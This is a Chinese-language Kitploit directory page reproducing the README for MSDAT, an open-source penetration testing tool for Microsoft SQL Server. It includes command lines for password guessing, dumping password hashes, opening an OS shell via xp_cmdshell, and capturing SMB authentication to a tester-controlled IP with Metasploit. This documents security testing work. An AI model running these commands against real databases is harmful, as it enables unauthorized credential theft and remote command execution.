Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
msdat — MSDAT: Microsoft SQL 数据库攻击工具 | Kitploit
工具/GitHubGitHub/quentinhardy/msdat
权限提升密码攻击漏洞利用信息收集渗透测试数据库安全
GitHubquentinhardy/msdat

msdat

MSDAT: Microsoft SQL 数据库攻击工具

查看仓库
1.0k145283年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT(Microsoft SQL Database Attacking Tool)是一款开源渗透测试工具,用于远程测试 Microsoft SQL 数据库的安全性。

MSDAT 的使用场景示例:

  • 你有一个远程监听的 Microsoft 数据库,想要__查找有效凭据__以连接数据库
  • 你有一个有效的 Microsoft SQL 帐户,想要__提升权限__
  • 你有一个有效的 Microsoft SQL 帐户,想要在托管该数据库的操作系统上__执行命令__(例如 xp_cmdshell、OLE 自动化、代理作业)

已在 Microsoft SQL 数据库 2005、2008、2012、2014、2016 和 2019 上测试。

变更日志

  • 版本 2.4(2022/12/28):
    • search 模块新增 2 个选项:--privs 和 --privs-full,用于获取当前用户的角色和权限(例如登录和数据库权限)
    • search 模块新增 1 个选项:--config,用于获取数据库配置和信息(版本、数据库、用户、禁用用户、存储过程等)
  • 版本 2.3(2022/12/18):
    • 兼容 Microsoft SQL Server 2019
    • search 模块新增选项 --schema-dump,用于提取架构并保存到文件(默认数据库除外)
    • search 模块新增选项 --table-dump,用于提取所有表并保存到文件(默认数据库除外)
    • search 模块新增选项 --sql-shell,用于获取一个最小的伪 SQL shell
  • 版本 2.2(2022/04/29):
    • --nmap-file 和 -l 现在可用于 all 模块和 passwordguesser 模块。你可以使用 -l 提供目标列表,或使用 --nmap-file 提供 nmap 文件。
    • 修复了多个错误
  • 版本 2.1(2020/03/04):
    • 选项 --nmap-file 用于从 XML nmap 文件加载所有 mssql 服务(需安装 python-libnmap)
  • 版本 2.0(2020/03/04):
    • Python 2 升级为 Python 3:MSDAT 现在仅兼容 Python 3。不再支持 Python 2。
    • 密码猜测模块中添加分隔符选项
    • 改进了 xpcmdshell 模块中 --put-file 选项的错误捕获
    • 改进了 jobs 模块中的反向 Shell 选项
    • OLE 自动化模块 - 改进了命令执行
    • OLE 自动化模块 - 实现了 Powershell 反向 Shell
    • 新增选项用于打印代理作业列表及其代码:--print-jobs
  • 版本 1.2(2020/02/26):
    • xpCmdShell 模块新增方法:使用 powershell 上传二进制文件(--put-file)
    • 改进 oleAutomation:以二进制模式上传文件,而非文本文件
  • 版本 1.1(2019/07/12):
    • 增加了许多其他默认凭据。感谢 https://github.com/govolution/betterdefaultpasslist/
  • 版本 1.0(2017/02/15):
    • 发布第一个版本

功能特性

借助 MSDAT(Microsoft SQL Database Attacking Tool),你可以(非详尽列表):

  • 在未认证的情况下__获取技术信息__(例如数据库版本)的 MSSQL 数据库
  • 加载 nnmap 文件以扫描所有 MSSQL 目标
  • 通过字典攻击__搜索 MSSQL 帐户__
  • 测试每个登录名作为密码(需要认证)
  • 通过以下方式在数据库服务器上__获取 Windows shell__:
    • xp_cmdshell
    • OLE 自动化
    • 作业
  • 远程__下载__文件,使用:
    • OLE 自动化
    • bulkinsert
    • openrowset
  • 在服务器上__上传__文件,使用:
    • OLE 自动化
    • openrowset
  • 通过以下方式__捕获 SMB 认证__:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • 窃取 MSSQL 哈希密码,适用于任何 MSSQL 版本
  • 通过数据库__扫描端口__:
    • openrowset
  • 通过数据库(目标)在远程 MSSQL 服务器上__执行 SQL 请求__,使用:
    • bulkinsert
    • openrowset
  • 通过以下方式__列出文件/目录__:
    • xp_subdirs
    • xp_dirtree
  • 通过以下方式__列出驱动器/媒体__:
    • xp_fixeddrives
    • xp_availablemedia
  • 通过以下方式__创建文件夹__:
    • xp_create_subdir
  • 搜索表中的敏感数据(例如凭据)
  • 获取数据库配置(数据库、用户、存储过程等)
  • 提取架构和所有表信息
  • 在伪 SQL Shell 中执行基本 SQL 命令

安装

需要安装一些依赖项才能运行 MSDAT。

在 Ubuntu 中:

sudo apt-get install freetds-dev

或从 http://www.freetds.org/ 下载 freetds

安装 Python 依赖项:

sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

或

sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

在你的 freetds 配置文件中添加 "use ntlmv2 = yes"(例如 /etc/freetds/freetds.conf 或 /usr/local/etc/freetds.conf)。 示例:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

如何开始

python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || |
              |_| |_||__/|__/|_n_||_|

------------------------------------------------------
 _   _  __            __           _           ___
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool

-------------------------------------------------------

By Quentin Hardy ([email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}

                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

示例

模块

  • 你可以列出所有模块:
./msdat.py -h
  • 当你选择一个模块(例如:all)后,可以使用它并列出该模块的所有功能和选项:
./msdat.py all -h

你可以通过 --test-module 选项了解特定模块是否可用于 MSSQL 服务器。此选项已在每个 mdat 模块中实现。

all 模块

all 模块允许你运行所有模块(取决于你提供的选项)。

python msdat.py all -s $SERVER

如果你想:

  • 使用自己的帐户文件进行字典攻击
  • 为某个用户尝试多个密码而无需确认
  • 定义自己的超时值
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

在每个模块中,你可以使用 --charset 选项定义字符集。

mssqlinfo 模块

在未认证的情况下获取远程 MSSQL 服务器的技术信息:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

此模块使用 TDS 协议和 SQL 浏览器服务器来获取信息。

passwordguesser 模块

此模块允许你搜索有效凭据:

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

--force-retry 选项允许为每个用户测试多个密码而无需确认

你可以使用 --accounts-file 选项指定自己的帐户文件:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer 模块

转储哈希密码:

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

此模块已在 SQL Server 2000、2005、2008 和 2014 上测试。

xpcmdshell 模块

通过 xp_cmdshell(https://msdn.microsoft.com/en-us/library/ms190693.aspx)执行系统命令:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

上述命令将为你提供远程数据库服务器上的交互式 shell。

如果 xp_cmdshell 未启用,此模块中的 --enable-xpcmdshell 可用于激活它:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

--enable-xpcmdshell 选项启用 xp_cmdshell(如果未启用,默认情况下未启用)。

--disable-xpcmdshell 选项禁用 xp_cmdshell(如果已启用)。

smbauthcapture 模块

通过此模块,你可以捕获 SMB 认证:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

要捕获 SMB 认证,可以使用 metasploit 的 auxiliary/server/capture/smb(http://www.rapid7.com/db/modules/auxiliary/server/capture/smb)模块:

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

此模块的 capture 命令尝试通过 xp_dirtree、xp_fileexist 或 xp-getfiledetails 过程捕获 SMB 认证。

下载工具